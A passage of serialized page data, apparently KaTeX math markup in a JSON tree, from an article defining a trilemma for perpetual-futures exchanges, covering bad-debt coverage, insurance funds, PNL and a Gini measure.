162652],{"type":23,"tag":134,"props":162649,"children":162651},{"className":162650,"style":162305},[1252],[],{"type":23,"tag":134,"props":162653,"children":162655},{"className":162654},[1258,1259,1260,1261],[162656],{"type":23,"tag":134,"props":162657,"children":162659},{"className":162658},[1211,21066,1261],[162660],{"type":28,"value":929},{"type":23,"tag":134,"props":162662,"children":162663},{"style":162318},[162664,162668],{"type":23,"tag":134,"props":162665,"children":162667},{"className":162666,"style":162305},[1252],[],{"type":23,"tag":134,"props":162669,"children":162670},{},[162671],{"type":23,"tag":134,"props":162672,"children":162674},{"className":162673},[21102,21107,162330],[162675],{"type":28,"value":108354},{"type":23,"tag":134,"props":162677,"children":162679},{"className":162678},[21223],[162680],{"type":28,"value":21226},{"type":23,"tag":134,"props":162682,"children":162684},{"className":162683},[1238],[162685],{"type":23,"tag":134,"props":162686,"children":162688},{"className":162687,"style":162345},[1243],[162689],{"type":23,"tag":134,"props":162690,"children":162691},{},[],{"type":23,"tag":134,"props":162693,"children":162695},{"className":162694,"style":1331},[1292],[],{"type":23,"tag":134,"props":162697,"children":162699},{"className":162698},[1211],[162700,162705],{"type":23,"tag":134,"props":162701,"children":162703},{"className":162702,"style":121839},[1211,21066],[162704],{"type":28,"value":49077},{"type":23,"tag":134,"props":162706,"children":162708},{"className":162707},[1228],[162709],{"type":23,"tag":134,"props":162710,"children":162712},{"className":162711},[1233,21120],[162713,162742],{"type":23,"tag":134,"props":162714,"children":162716},{"className":162715},[1238],[162717,162737],{"type":23,"tag":134,"props":162718,"children":162720},{"className":162719,"style":93088},[1243],[162721],{"type":23,"tag":134,"props":162722,"children":162723},{"style":160787},[162724,162728],{"type":23,"tag":134,"props":162725,"children":162727},{"className":162726,"style":1253},[1252],[],{"type":23,"tag":134,"props":162729,"children":162731},{"className":162730},[1258,1259,1260,1261],[162732],{"type":23,"tag":134,"props":162733,"children":162735},{"className":162734},[1211,21066,1261],[162736],{"type":28,"value":929},{"type":23,"tag":134,"props":162738,"children":162740},{"className":162739},[21223],[162741],{"type":28,"value":21226},{"type":23,"tag":134,"props":162743,"children":162745},{"className":162744},[1238],[162746],{"type":23,"tag":134,"props":162747,"children":162749},{"className":162748,"style":92642},[1243],[162750],{"type":23,"tag":134,"props":162751,"children":162752},{},[],{"type":23,"tag":134,"props":162754,"children":162755},{"style":161168},[162756,162760],{"type":23,"tag":134,"props":162757,"children":162759},{"className":162758,"style":160459},[1252],[],{"type":23,"tag":134,"props":162761,"children":162763},{"className":162762},[1211],[162764,162768,162772,162777,162781,162786,162791,162848,162852,162857,162861,162866,162870,162875,162879,162936,162941,162945,162949,162954],{"type":23,"tag":134,"props":162765,"children":162767},{"className":162766},[1211],[],{"type":23,"tag":134,"props":162769,"children":162771},{"className":162770,"style":1390},[1292],[],{"type":23,"tag":134,"props":162773,"children":162775},{"className":162774},[1395],[162776],{"type":28,"value":257},{"type":23,"tag":134,"props":162778,"children":162780},{"className":162779,"style":1390},[1292],[],{"type":23,"tag":134,"props":162782,"children":162784},{"className":162783},[21102],[162785],{"type":28,"value":160173},{"type":23,"tag":134,"props":162787,"children":162789},{"className":162788},[21195],[162790],{"type":28,"value":272},{"type":23,"tag":134,"props":162792,"children":162794},{"className":162793},[1211],[162795,162800],{"type":23,"tag":134,"props":162796,"children":162798},{"className":162797,"style":92559},[1211,21066],[162799],{"type":28,"value":161046},{"type":23,"tag":134,"props":162801,"children":162803},{"className":162802},[1228],[162804],{"type":23,"tag":134,"props":162805,"children":162807},{"className":162806},[1233,21120],[162808,162837],{"type":23,"tag":134,"props":162809,"children":162811},{"className":162810},[1238],[162812,162832],{"type":23,"tag":134,"props":162813,"children":162815},{"className":162814,"style":142114},[1243],[162816],{"type":23,"tag":134,"props":162817,"children":162818},{"style":109558},[162819,162823],{"type":23,"tag":134,"props":162820,"children":162822},{"className":162821,"style":1253},[1252],[],{"type":23,"tag":134,"props":162824,"children":162826},{"className":162825},[1258,1259,1260,1261],[162827],{"type":23,"tag":134,"props":162828,"children":162830},{"className":162829,"style":21067},[1211,21066,1261],[162831],{"type":28,"value":5444},{"type":23,"tag":134,"props":162833,"children":162835},{"className":162834},[21223],[162836],{"type":28,"value":21226},{"type":23,"tag":134,"props":162838,"children":162840},{"className":162839},[1238],[162841],{"type":23,"tag":134,"props":162842,"children":162844},{"className":162843,"style":92642},[1243],[162845],{"type":23,"tag":134,"props":162846,"children":162847},{},[],{"type":23,"tag":134,"props":162849,"children":162851},{"className":162850,"style":1293},[1292],[],{"type":23,"tag":134,"props":162853,"children":162855},{"className":162854},[1298],[162856],{"type":28,"value":1272},{"type":23,"tag":134,"props":162858,"children":162860},{"className":162859,"style":1293},[1292],[],{"type":23,"tag":134,"props":162862,"children":162864},{"className":162863,"style":94579},[1211,21066],[162865],{"type":28,"value":94613},{"type":23,"tag":134,"props":162867,"children":162869},{"className":162868,"style":1293},[1292],[],{"type":23,"tag":134,"props":162871,"children":162873},{"className":162872},[1298],[162874],{"type":28,"value":1272},{"type":23,"tag":134,"props":162876,"children":162878},{"className":162877,"style":1293},[1292],[],{"type":23,"tag":134,"props":162880,"children":162882},{"className":162881},[1211],[162883,162888],{"type":23,"tag":134,"props":162884,"children":162886},{"className":162885,"style":92793},[1211,21066],[162887],{"type":28,"value":92796},{"type":23,"tag":134,"props":162889,"children":162891},{"className":162890},[1228],[162892],{"type":23,"tag":134,"props":162893,"children":162895},{"className":162894},[1233,21120],[162896,162925],{"type":23,"tag":134,"props":162897,"children":162899},{"className":162898},[1238],[162900,162920],{"type":23,"tag":134,"props":162901,"children":162903},{"className":162902,"style":142114},[1243],[162904],{"type":23,"tag":134,"props":162905,"children":162906},{"style":109988},[162907,162911],{"type":23,"tag":134,"props":162908,"children":162910},{"className":162909,"style":1253},[1252],[],{"type":23,"tag":134,"props":162912,"children":162914},{"className":162913},[1258,1259,1260,1261],[162915],{"type":23,"tag":134,"props":162916,"children":162918},{"className":162917,"style":21067},[1211,21066,1261],[162919],{"type":28,"value":5444},{"type":23,"tag":134,"props":162921,"children":162923},{"className":162922},[21223],[162924],{"type":28,"value":21226},{"type":23,"tag":134,"props":162926,"children":162928},{"className":162927},[1238],[162929],{"type":23,"tag":134,"props":162930,"children":162932},{"className":162931,"style":92642},[1243],[162933],{"type":23,"tag":134,"props":162934,"children":162935},{},[],{"type":23,"tag":134,"props":162937,"children":162939},{"className":162938},[1324],[162940],{"type":28,"value":1327},{"type":23,"tag":134,"props":162942,"children":162944},{"className":162943,"style":1331},[1292],[],{"type":23,"tag":134,"props":162946,"children":162948},{"className":162947,"style":1331},[1292],[],{"type":23,"tag":134,"props":162950,"children":162952},{"className":162951},[1211],[162953],{"type":28,"value":1224},{"type":23,"tag":134,"props":162955,"children":162957},{"className":162956},[21217],[162958],{"type":28,"value":296},{"type":23,"tag":134,"props":162960,"children":162962},{"className":162961},[21223],[162963],{"type":28,"value":21226},{"type":23,"tag":134,"props":162965,"children":162967},{"className":162966},[1238],[162968],{"type":23,"tag":134,"props":162969,"children":162971},{"className":162970,"style":161249},[1243],[162972],{"type":23,"tag":134,"props":162973,"children":162974},{},[],{"type":23,"tag":24,"props":162976,"children":162977},{},[162978,162979,163056,163058,163083,163085,163162,163164,163241],{"type":28,"value":272},{"type":23,"tag":92,"props":162980,"children":162982},{"className":162981},[1183,1184],[162983],{"type":23,"tag":134,"props":162984,"children":162986},{"className":162985},[1189],[162987],{"type":23,"tag":134,"props":162988,"children":162990},{"className":162989,"ariaHidden":1195},[1194],[162991],{"type":23,"tag":134,"props":162992,"children":162994},{"className":162993},[1200],[162995,162999],{"type":23,"tag":134,"props":162996,"children":162998},{"className":162997,"style":110556},[1205],[],{"type":23,"tag":134,"props":163000,"children":163002},{"className":163001},[1211],[163003,163008],{"type":23,"tag":134,"props":163004,"children":163006},{"className":163005,"style":21067},[1211,21066],[163007],{"type":28,"value":21070},{"type":23,"tag":134,"props":163009,"children":163011},{"className":163010},[1228],[163012],{"type":23,"tag":134,"props":163013,"children":163015},{"className":163014},[1233,21120],[163016,163045],{"type":23,"tag":134,"props":163017,"children":163019},{"className":163018},[1238],[163020,163040],{"type":23,"tag":134,"props":163021,"children":163023},{"className":163022,"style":108991},[1243],[163024],{"type":23,"tag":134,"props":163025,"children":163026},{"style":160492},[163027,163031],{"type":23,"tag":134,"props":163028,"children":163030},{"className":163029,"style":1253},[1252],[],{"type":23,"tag":134,"props":163032,"children":163034},{"className":163033},[1258,1259,1260,1261],[163035],{"type":23,"tag":134,"props":163036,"children":163038},{"className":163037},[1211,21066,1261],[163039],{"type":28,"value":55910},{"type":23,"tag":134,"props":163041,"children":163043},{"className":163042},[21223],[163044],{"type":28,"value":21226},{"type":23,"tag":134,"props":163046,"children":163048},{"className":163047},[1238],[163049],{"type":23,"tag":134,"props":163050,"children":163052},{"className":163051,"style":92642},[1243],[163053],{"type":23,"tag":134,"props":163054,"children":163055},{},[],{"type":28,"value":163057},": mark price from different sources; ",{"type":23,"tag":92,"props":163059,"children":163061},{"className":163060},[1183,1184],[163062],{"type":23,"tag":134,"props":163063,"children":163065},{"className":163064},[1189],[163066],{"type":23,"tag":134,"props":163067,"children":163069},{"className":163068,"ariaHidden":1195},[1194],[163070],{"type":23,"tag":134,"props":163071,"children":163073},{"className":163072},[1200],[163074,163078],{"type":23,"tag":134,"props":163075,"children":163077},{"className":163076,"style":21061},[1205],[],{"type":23,"tag":134,"props":163079,"children":163081},{"className":163080,"style":94579},[1211,21066],[163082],{"type":28,"value":94613},{"type":28,"value":163084},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":92,"props":163086,"children":163088},{"className":163087},[1183,1184],[163089],{"type":23,"tag":134,"props":163090,"children":163092},{"className":163091},[1189],[163093],{"type":23,"tag":134,"props":163094,"children":163096},{"className":163095,"ariaHidden":1195},[1194],[163097],{"type":23,"tag":134,"props":163098,"children":163100},{"className":163099},[1200],[163101,163105],{"type":23,"tag":134,"props":163102,"children":163104},{"className":163103,"style":109529},[1205],[],{"type":23,"tag":134,"props":163106,"children":163108},{"className":163107},[1211],[163109,163114],{"type":23,"tag":134,"props":163110,"children":163112},{"className":163111,"style":93045},[1211,21066],[163113],{"type":28,"value":160630},{"type":23,"tag":134,"props":163115,"children":163117},{"className":163116},[1228],[163118],{"type":23,"tag":134,"props":163119,"children":163121},{"className":163120},[1233,21120],[163122,163151],{"type":23,"tag":134,"props":163123,"children":163125},{"className":163124},[1238],[163126,163146],{"type":23,"tag":134,"props":163127,"children":163129},{"className":163128,"style":93088},[1243],[163130],{"type":23,"tag":134,"props":163131,"children":163132},{"style":93092},[163133,163137],{"type":23,"tag":134,"props":163134,"children":163136},{"className":163135,"style":1253},[1252],[],{"type":23,"tag":134,"props":163138,"children":163140},{"className":163139},[1258,1259,1260,1261],[163141],{"type":23,"tag":134,"props":163142,"children":163144},{"className":163143},[1211,21066,1261],[163145],{"type":28,"value":929},{"type":23,"tag":134,"props":163147,"children":163149},{"className":163148},[21223],[163150],{"type":28,"value":21226},{"type":23,"tag":134,"props":163152,"children":163154},{"className":163153},[1238],[163155],{"type":23,"tag":134,"props":163156,"children":163158},{"className":163157,"style":92642},[1243],[163159],{"type":23,"tag":134,"props":163160,"children":163161},{},[],{"type":28,"value":163163}," is PNL for longs, negated for shorts; ",{"type":23,"tag":92,"props":163165,"children":163167},{"className":163166},[1183,1184],[163168],{"type":23,"tag":134,"props":163169,"children":163171},{"className":163170},[1189],[163172],{"type":23,"tag":134,"props":163173,"children":163175},{"className":163174,"ariaHidden":1195},[1194],[163176],{"type":23,"tag":134,"props":163177,"children":163179},{"className":163178},[1200],[163180,163184],{"type":23,"tag":134,"props":163181,"children":163183},{"className":163182,"style":109529},[1205],[],{"type":23,"tag":134,"props":163185,"children":163187},{"className":163186},[1211],[163188,163193],{"type":23,"tag":134,"props":163189,"children":163191},{"className":163190,"style":121839},[1211,21066],[163192],{"type":28,"value":49077},{"type":23,"tag":134,"props":163194,"children":163196},{"className":163195},[1228],[163197],{"type":23,"tag":134,"props":163198,"children":163200},{"className":163199},[1233,21120],[163201,163230],{"type":23,"tag":134,"props":163202,"children":163204},{"className":163203},[1238],[163205,163225],{"type":23,"tag":134,"props":163206,"children":163208},{"className":163207,"style":93088},[1243],[163209],{"type":23,"tag":134,"props":163210,"children":163211},{"style":160787},[163212,163216],{"type":23,"tag":134,"props":163213,"children":163215},{"className":163214,"style":1253},[1252],[],{"type":23,"tag":134,"props":163217,"children":163219},{"className":163218},[1258,1259,1260,1261],[163220],{"type":23,"tag":134,"props":163221,"children":163223},{"className":163222},[1211,21066,1261],[163224],{"type":28,"value":929},{"type":23,"tag":134,"props":163226,"children":163228},{"className":163227},[21223],[163229],{"type":28,"value":21226},{"type":23,"tag":134,"props":163231,"children":163233},{"className":163232},[1238],[163234],{"type":23,"tag":134,"props":163235,"children":163237},{"className":163236,"style":92642},[1243],[163238],{"type":23,"tag":134,"props":163239,"children":163240},{},[],{"type":28,"value":163242}," is the positive part of PNL.)",{"type":23,"tag":24,"props":163244,"children":163245},{},[163246],{"type":28,"value":163247},"And let's make the trilemma definitions concrete:",{"type":23,"tag":16158,"props":163249,"children":163250},{},[163251,163725,164289],{"type":23,"tag":4894,"props":163252,"children":163253},{},[163254,163258,163259,163513,163515,163566,163568,163671,163672,163723],{"type":23,"tag":55,"props":163255,"children":163256},{},[163257],{"type":28,"value":160371},{"type":28,"value":32407},{"type":23,"tag":92,"props":163260,"children":163262},{"className":163261},[1183,1184],[163263],{"type":23,"tag":134,"props":163264,"children":163266},{"className":163265},[1189],[163267],{"type":23,"tag":134,"props":163268,"children":163270},{"className":163269,"ariaHidden":1195},[1194],[163271,163298],{"type":23,"tag":134,"props":163272,"children":163274},{"className":163273},[1200],[163275,163280,163285,163289,163294],{"type":23,"tag":134,"props":163276,"children":163279},{"className":163277,"style":163278},[1205],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":134,"props":163281,"children":163283},{"className":163282},[1211],[163284],{"type":28,"value":1214},{"type":23,"tag":134,"props":163286,"children":163288},{"className":163287,"style":1293},[1292],[],{"type":23,"tag":134,"props":163290,"children":163292},{"className":163291},[1298],[163293],{"type":28,"value":1272},{"type":23,"tag":134,"props":163295,"children":163297},{"className":163296,"style":1293},[1292],[],{"type":23,"tag":134,"props":163299,"children":163301},{"className":163300},[1200],[163302,163307],{"type":23,"tag":134,"props":163303,"children":163306},{"className":163304,"style":163305},[1205],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":134,"props":163308,"children":163310},{"className":163309},[1211],[163311,163315,163509],{"type":23,"tag":134,"props":163312,"children":163314},{"className":163313},[21195,113077],[],{"type":23,"tag":134,"props":163316,"children":163318},{"className":163317},[113082],[163319],{"type":23,"tag":134,"props":163320,"children":163322},{"className":163321},[1233,21120],[163323,163497],{"type":23,"tag":134,"props":163324,"children":163326},{"className":163325},[1238],[163327,163492],{"type":23,"tag":134,"props":163328,"children":163331},{"className":163329,"style":163330},[1243],"height:0.8884em;",[163332,163406,163417],{"type":23,"tag":134,"props":163333,"children":163334},{"style":113099},[163335,163339],{"type":23,"tag":134,"props":163336,"children":163338},{"className":163337,"style":111730},[1252],[],{"type":23,"tag":134,"props":163340,"children":163342},{"className":163341},[1258,1259,1260,1261],[163343],{"type":23,"tag":134,"props":163344,"children":163346},{"className":163345},[1211,1261],[163347],{"type":23,"tag":134,"props":163348,"children":163350},{"className":163349},[1211,1261],[163351,163356],{"type":23,"tag":134,"props":163352,"children":163354},{"className":163353,"style":92559},[1211,21066,1261],[163355],{"type":28,"value":161046},{"type":23,"tag":134,"props":163357,"children":163359},{"className":163358},[1228],[163360],{"type":23,"tag":134,"props":163361,"children":163363},{"className":163362},[1233,21120],[163364,163394],{"type":23,"tag":134,"props":163365,"children":163367},{"className":163366},[1238],[163368,163389],{"type":23,"tag":134,"props":163369,"children":163371},{"className":163370,"style":111891},[1243],[163372],{"type":23,"tag":134,"props":163373,"children":163375},{"style":163374},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[163376,163380],{"type":23,"tag":134,"props":163377,"children":163379},{"className":163378,"style":108419},[1252],[],{"type":23,"tag":134,"props":163381,"children":163383},{"className":163382},[1258,108424,108425,1261],[163384],{"type":23,"tag":134,"props":163385,"children":163387},{"className":163386,"style":21067},[1211,21066,1261],[163388],{"type":28,"value":5444},{"type":23,"tag":134,"props":163390,"children":163392},{"className":163391},[21223],[163393],{"type":28,"value":21226},{"type":23,"tag":134,"props":163395,"children":163397},{"className":163396},[1238],[163398],{"type":23,"tag":134,"props":163399,"children":163402},{"className":163400,"style":163401},[1243],"height:0.1433em;",[163403],{"type":23,"tag":134,"props":163404,"children":163405},{},[],{"type":23,"tag":134,"props":163407,"children":163408},{"style":113132},[163409,163413],{"type":23,"tag":134,"props":163410,"children":163412},{"className":163411,"style":111730},[1252],[],{"type":23,"tag":134,"props":163414,"children":163416},{"className":163415,"style":113142},[113141],[],{"type":23,"tag":134,"props":163418,"children":163420},{"style":163419},"top:-3.4101em;",[163421,163425],{"type":23,"tag":134,"props":163422,"children":163424},{"className":163423,"style":111730},[1252],[],{"type":23,"tag":134,"props":163426,"children":163428},{"className":163427},[1258,1259,1260,1261],[163429],{"type":23,"tag":134,"props":163430,"children":163432},{"className":163431},[1211,1261],[163433],{"type":23,"tag":134,"props":163434,"children":163436},{"className":163435},[1211,1261],[163437,163442],{"type":23,"tag":134,"props":163438,"children":163440},{"className":163439,"style":122336},[1211,21066,1261],[163441],{"type":28,"value":122339},{"type":23,"tag":134,"props":163443,"children":163445},{"className":163444},[1228],[163446],{"type":23,"tag":134,"props":163447,"children":163449},{"className":163448},[1233,21120],[163450,163481],{"type":23,"tag":134,"props":163451,"children":163453},{"className":163452},[1238],[163454,163476],{"type":23,"tag":134,"props":163455,"children":163458},{"className":163456,"style":163457},[1243],"height:0.2963em;",[163459],{"type":23,"tag":134,"props":163460,"children":163462},{"style":163461},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[163463,163467],{"type":23,"tag":134,"props":163464,"children":163466},{"className":163465,"style":108419},[1252],[],{"type":23,"tag":134,"props":163468,"children":163470},{"className":163469},[1258,108424,108425,1261],[163471],{"type":23,"tag":134,"props":163472,"children":163474},{"className":163473},[1211,21066,1261],[163475],{"type":28,"value":21208},{"type":23,"tag":134,"props":163477,"children":163479},{"className":163478},[21223],[163480],{"type":28,"value":21226},{"type":23,"tag":134,"props":163482,"children":163484},{"className":163483},[1238],[163485],{"type":23,"tag":134,"props":163486,"children":163488},{"className":163487,"style":108444},[1243],[163489],{"type":23,"tag":134,"props":163490,"children":163491},{},[],{"type":23,"tag":134,"props":163493,"children":163495},{"className":163494},[21223],[163496],{"type":28,"value":21226},{"type":23,"tag":134,"props":163498,"children":163500},{"className":163499},[1238],[163501],{"type":23,"tag":134,"props":163502,"children":163505},{"className":163503,"style":163504},[1243],"height:0.4453em;",[163506],{"type":23,"tag":134,"props":163507,"children":163508},{},[],{"type":23,"tag":134,"props":163510,"children":163512},{"className":163511},[21217,113077],[],{"type":28,"value":163514}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":92,"props":163516,"children":163518},{"className":163517},[1183,1184],[163519],{"type":23,"tag":134,"props":163520,"children":163522},{"className":163521},[1189],[163523],{"type":23,"tag":134,"props":163524,"children":163526},{"className":163525,"ariaHidden":1195},[1194],[163527,163553],{"type":23,"tag":134,"props":163528,"children":163530},{"className":163529},[1200],[163531,163535,163540,163544,163549],{"type":23,"tag":134,"props":163532,"children":163534},{"className":163533,"style":21061},[1205],[],{"type":23,"tag":134,"props":163536,"children":163538},{"className":163537,"style":21525},[1211,21066],[163539],{"type":28,"value":21528},{"type":23,"tag":134,"props":163541,"children":163543},{"className":163542,"style":1390},[1292],[],{"type":23,"tag":134,"props":163545,"children":163547},{"className":163546},[1395],[163548],{"type":28,"value":257},{"type":23,"tag":134,"props":163550,"children":163552},{"className":163551,"style":1390},[1292],[],{"type":23,"tag":134,"props":163554,"children":163556},{"className":163555},[1200],[163557,163561],{"type":23,"tag":134,"props":163558,"children":163560},{"className":163559,"style":93590},[1205],[],{"type":23,"tag":134,"props":163562,"children":163564},{"className":163563},[1211],[163565],{"type":28,"value":1214},{"type":28,"value":163567}," means fully solvent (",{"type":23,"tag":92,"props":163569,"children":163571},{"className":163570},[1183,1184],[163572],{"type":23,"tag":134,"props":163573,"children":163575},{"className":163574},[1189],[163576],{"type":23,"tag":134,"props":163577,"children":163579},{"className":163578,"ariaHidden":1195},[1194],[163580,163658],{"type":23,"tag":134,"props":163581,"children":163583},{"className":163582},[1200],[163584,163588,163645,163649,163654],{"type":23,"tag":134,"props":163585,"children":163587},{"className":163586,"style":110556},[1205],[],{"type":23,"tag":134,"props":163589,"children":163591},{"className":163590},[1211],[163592,163597],{"type":23,"tag":134,"props":163593,"children":163595},{"className":163594,"style":122336},[1211,21066],[163596],{"type":28,"value":122339},{"type":23,"tag":134,"props":163598,"children":163600},{"className":163599},[1228],[163601],{"type":23,"tag":134,"props":163602,"children":163604},{"className":163603},[1233,21120],[163605,163634],{"type":23,"tag":134,"props":163606,"children":163608},{"className":163607},[1238],[163609,163629],{"type":23,"tag":134,"props":163610,"children":163612},{"className":163611,"style":161202},[1243],[163613],{"type":23,"tag":134,"props":163614,"children":163615},{"style":161206},[163616,163620],{"type":23,"tag":134,"props":163617,"children":163619},{"className":163618,"style":1253},[1252],[],{"type":23,"tag":134,"props":163621,"children":163623},{"className":163622},[1258,1259,1260,1261],[163624],{"type":23,"tag":134,"props":163625,"children":163627},{"className":163626},[1211,21066,1261],[163628],{"type":28,"value":21208},{"type":23,"tag":134,"props":163630,"children":163632},{"className":163631},[21223],[163633],{"type":28,"value":21226},{"type":23,"tag":134,"props":163635,"children":163637},{"className":163636},[1238],[163638],{"type":23,"tag":134,"props":163639,"children":163641},{"className":163640,"style":92642},[1243],[163642],{"type":23,"tag":134,"props":163643,"children":163644},{},[],{"type":23,"tag":134,"props":163646,"children":163648},{"className":163647,"style":1390},[1292],[],{"type":23,"tag":134,"props":163650,"children":163652},{"className":163651},[1395],[163653],{"type":28,"value":257},{"type":23,"tag":134,"props":163655,"children":163657},{"className":163656,"style":1390},[1292],[],{"type":23,"tag":134,"props":163659,"children":163661},{"className":163660},[1200],[163662,163666],{"type":23,"tag":134,"props":163663,"children":163665},{"className":163664,"style":93590},[1205],[],{"type":23,"tag":134,"props":163667,"children":163669},{"className":163668},[1211],[163670],{"type":28,"value":1224},{"type":28,"value":14646},{"type":23,"tag":92,"props":163673,"children":163675},{"className":163674},[1183,1184],[163676],{"type":23,"tag":134,"props":163677,"children":163679},{"className":163678},[1189],[163680],{"type":23,"tag":134,"props":163681,"children":163683},{"className":163682,"ariaHidden":1195},[1194],[163684,163710],{"type":23,"tag":134,"props":163685,"children":163687},{"className":163686},[1200],[163688,163692,163697,163701,163706],{"type":23,"tag":134,"props":163689,"children":163691},{"className":163690,"style":21061},[1205],[],{"type":23,"tag":134,"props":163693,"children":163695},{"className":163694,"style":21525},[1211,21066],[163696],{"type":28,"value":21528},{"type":23,"tag":134,"props":163698,"children":163700},{"className":163699,"style":1390},[1292],[],{"type":23,"tag":134,"props":163702,"children":163704},{"className":163703},[1395],[163705],{"type":28,"value":257},{"type":23,"tag":134,"props":163707,"children":163709},{"className":163708,"style":1390},[1292],[],{"type":23,"tag":134,"props":163711,"children":163713},{"className":163712},[1200],[163714,163718],{"type":23,"tag":134,"props":163715,"children":163717},{"className":163716,"style":93590},[1205],[],{"type":23,"tag":134,"props":163719,"children":163721},{"className":163720},[1211],[163722],{"type":28,"value":1224},{"type":28,"value":163724}," means nothing was recovered.",{"type":23,"tag":4894,"props":163726,"children":163727},{},[163728,163732,163733,163856,163857,164074,164076,164180,164182,164233,164235,164287],{"type":23,"tag":55,"props":163729,"children":163730},{},[163731],{"type":28,"value":160381},{"type":28,"value":32407},{"type":23,"tag":92,"props":163734,"children":163736},{"className":163735},[1183,1184],[163737],{"type":23,"tag":134,"props":163738,"children":163740},{"className":163739},[1189],[163741],{"type":23,"tag":134,"props":163742,"children":163744},{"className":163743,"ariaHidden":1195},[1194],[163745,163771],{"type":23,"tag":134,"props":163746,"children":163748},{"className":163747},[1200],[163749,163753,163758,163762,163767],{"type":23,"tag":134,"props":163750,"children":163752},{"className":163751,"style":163278},[1205],[],{"type":23,"tag":134,"props":163754,"children":163756},{"className":163755},[1211],[163757],{"type":28,"value":1214},{"type":23,"tag":134,"props":163759,"children":163761},{"className":163760,"style":1293},[1292],[],{"type":23,"tag":134,"props":163763,"children":163765},{"className":163764},[1298],[163766],{"type":28,"value":1272},{"type":23,"tag":134,"props":163768,"children":163770},{"className":163769,"style":1293},[1292],[],{"type":23,"tag":134,"props":163772,"children":163774},{"className":163773},[1200],[163775,163779,163789,163794,163851],{"type":23,"tag":134,"props":163776,"children":163778},{"className":163777,"style":1313},[1205],[],{"type":23,"tag":134,"props":163780,"children":163782},{"className":163781},[1211,28],[163783],{"type":23,"tag":134,"props":163784,"children":163786},{"className":163785},[1211],[163787],{"type":28,"value":163788},"Gini",{"type":23,"tag":134,"props":163790,"children":163792},{"className":163791},[21195],[163793],{"type":28,"value":272},{"type":23,"tag":134,"props":163795,"children":163797},{"className":163796},[1211],[163798,163803],{"type":23,"tag":134,"props":163799,"children":163801},{"className":163800},[1211,21066],[163802],{"type":28,"value":83857},{"type":23,"tag":134,"props":163804,"children":163806},{"className":163805},[1228],[163807],{"type":23,"tag":134,"props":163808,"children":163810},{"className":163809},[1233,21120],[163811,163840],{"type":23,"tag":134,"props":163812,"children":163814},{"className":163813},[1238],[163815,163835],{"type":23,"tag":134,"props":163816,"children":163818},{"className":163817,"style":93088},[1243],[163819],{"type":23,"tag":134,"props":163820,"children":163821},{"style":92615},[163822,163826],{"type":23,"tag":134,"props":163823,"children":163825},{"className":163824,"style":1253},[1252],[],{"type":23,"tag":134,"props":163827,"children":163829},{"className":163828},[1258,1259,1260,1261],[163830],{"type":23,"tag":134,"props":163831,"children":163833},{"className":163832},[1211,21066,1261],[163834],{"type":28,"value":929},{"type":23,"tag":134,"props":163836,"children":163838},{"className":163837},[21223],[163839],{"type":28,"value":21226},{"type":23,"tag":134,"props":163841,"children":163843},{"className":163842},[1238],[163844],{"type":23,"tag":134,"props":163845,"children":163847},{"className":163846,"style":92642},[1243],[163848],{"type":23,"tag":134,"props":163849,"children":163850},{},[],{"type":23,"tag":134,"props":163852,"children":163854},{"className":163853},[21217],[163855],{"type":28,"value":296},{"type":28,"value":6780},{"type":23,"tag":92,"props":163858,"children":163860},{"className":163859},[1183,1184],[163861],{"type":23,"tag":134,"props":163862,"children":163864},{"className":163863},[1189],[163865],{"type":23,"tag":134,"props":163866,"children":163868},{"className":163867,"ariaHidden":1195},[1194],[163869,163947],{"type":23,"tag":134,"props":163870,"children":163872},{"className":163871},[1200],[163873,163877,163934,163938,163943],{"type":23,"tag":134,"props":163874,"children":163876},{"className":163875,"style":141838},[1205],[],{"type":23,"tag":134,"props":163878,"children":163880},{"className":163879},[1211],[163881,163886],{"type":23,"tag":134,"props":163882,"children":163884},{"className":163883},[1211,21066],[163885],{"type":28,"value":83857},{"type":23,"tag":134,"props":163887,"children":163889},{"className":163888},[1228],[163890],{"type":23,"tag":134,"props":163891,"children":163893},{"className":163892},[1233,21120],[163894,163923],{"type":23,"tag":134,"props":163895,"children":163897},{"className":163896},[1238],[163898,163918],{"type":23,"tag":134,"props":163899,"children":163901},{"className":163900,"style":93088},[1243],[163902],{"type":23,"tag":134,"props":163903,"children":163904},{"style":92615},[163905,163909],{"type":23,"tag":134,"props":163906,"children":163908},{"className":163907,"style":1253},[1252],[],{"type":23,"tag":134,"props":163910,"children":163912},{"className":163911},[1258,1259,1260,1261],[163913],{"type":23,"tag":134,"props":163914,"children":163916},{"className":163915},[1211,21066,1261],[163917],{"type":28,"value":929},{"type":23,"tag":134,"props":163919,"children":163921},{"className":163920},[21223],[163922],{"type":28,"value":21226},{"type":23,"tag":134,"props":163924,"children":163926},{"className":163925},[1238],[163927],{"type":23,"tag":134,"props":163928,"children":163930},{"className":163929,"style":92642},[1243],[163931],{"type":23,"tag":134,"props":163932,"children":163933},{},[],{"type":23,"tag":134,"props":163935,"children":163937},{"className":163936,"style":1390},[1292],[],{"type":23,"tag":134,"props":163939,"children":163941},{"className":163940},[1395],[163942],{"type":28,"value":257},{"type":23,"tag":134,"props":163944,"children":163946},{"className":163945,"style":1390},[1292],[],{"type":23,"tag":134,"props":163948,"children":163950},{"className":163949},[1200],[163951,163955,164012,164017],{"type":23,"tag":134,"props":163952,"children":163954},{"className":163953,"style":1313},[1205],[],{"type":23,"tag":134,"props":163956,"children":163958},{"className":163957},[1211],[163959,163964],{"type":23,"tag":134,"props":163960,"children":163962},{"className":163961},[1211,21066],[163963],{"type":28,"value":18752},{"type":23,"tag":134,"props":163965,"children":163967},{"className":163966},[1228],[163968],{"type":23,"tag":134,"props":163969,"children":163971},{"className":163970},[1233,21120],[163972,164001],{"type":23,"tag":134,"props":163973,"children":163975},{"className":163974},[1238],[163976,163996],{"type":23,"tag":134,"props":163977,"children":163979},{"className":163978,"style":93088},[1243],[163980],{"type":23,"tag":134,"props":163981,"children":163982},{"style":92615},[163983,163987],{"type":23,"tag":134,"props":163984,"children":163986},{"className":163985,"style":1253},[1252],[],{"type":23,"tag":134,"props":163988,"children":163990},{"className":163989},[1258,1259,1260,1261],[163991],{"type":23,"tag":134,"props":163992,"children":163994},{"className":163993},[1211,21066,1261],[163995],{"type":28,"value":929},{"type":23,"tag":134,"props":163997,"children":163999},{"className":163998},[21223],[164000],{"type":28,"value":21226},{"type":23,"tag":134,"props":164002,"children":164004},{"